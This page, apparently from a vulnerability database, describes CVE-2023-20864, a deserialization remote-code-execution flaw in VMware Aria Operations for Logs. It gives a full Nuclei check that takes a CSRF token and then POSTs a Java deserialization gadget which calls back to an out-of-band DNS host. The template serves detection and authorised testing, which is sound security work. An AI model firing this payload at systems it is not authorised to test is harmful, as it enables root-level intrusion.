HexBrain

Browse / CVEs / CVE-2023-20864

CVE-2023-20864· vmware / aria operations for logs· CWE-502

VMware Aria Operations for Logs - Unauthenticated Remote Code Execution

criticalseverity
9.8CVSS score
70.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.

How to confirm it

Send: GET /csrf ; POST /api/v2/internal/cluster/applyMembership
Positive when: contains in interactsh_protocol "dns" AND contains "\"errorMessage\":\"Internal error"

Run it with nuclei: nuclei -id CVE-2023-20864 -u <target>

The full check
id: CVE-2023-20864

info:
  name: VMware Aria Operations for Logs - Unauthenticated Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0007.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20864
    - https://github.com/Threekiii/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20864
    cwe-id: CWE-502
    epss-score: 0.70423
    epss-percentile: 0.99394
    cpe: cpe:2.3:a:vmware:aria_operations_for_logs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: aria_operations_for_logs
    shodan-query:
      - title:"vRealize Log Insight"
      - http.title:"vrealize log insight"
    fofa-query: title="vrealize log insight"
    google-query: intitle:"vrealize log insight"
  tags: cve2023,cve,vmware,aria,rce,oast,vuln

http:
  - raw:
      - |
        GET /csrf HTTP/1.1
        Host: {{Hostname}}
        X-Csrf-Token: Fetch
      - |
        POST /api/v2/internal/cluster/applyMembership HTTP/1.1
        Host: {{Hostname}}
        X-CSRF-Token: {{xcsrftoken}}
        Content-type: application/octet-stream

        {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"errorMessage":"Internal error'

    extractors:
      - type: kval
        name: xcsrftoken
        group: 1
        internal: true
        kval:
          - "X_CSRF_Token"

References

Use this check only on systems you are authorised to test. Where the data comes from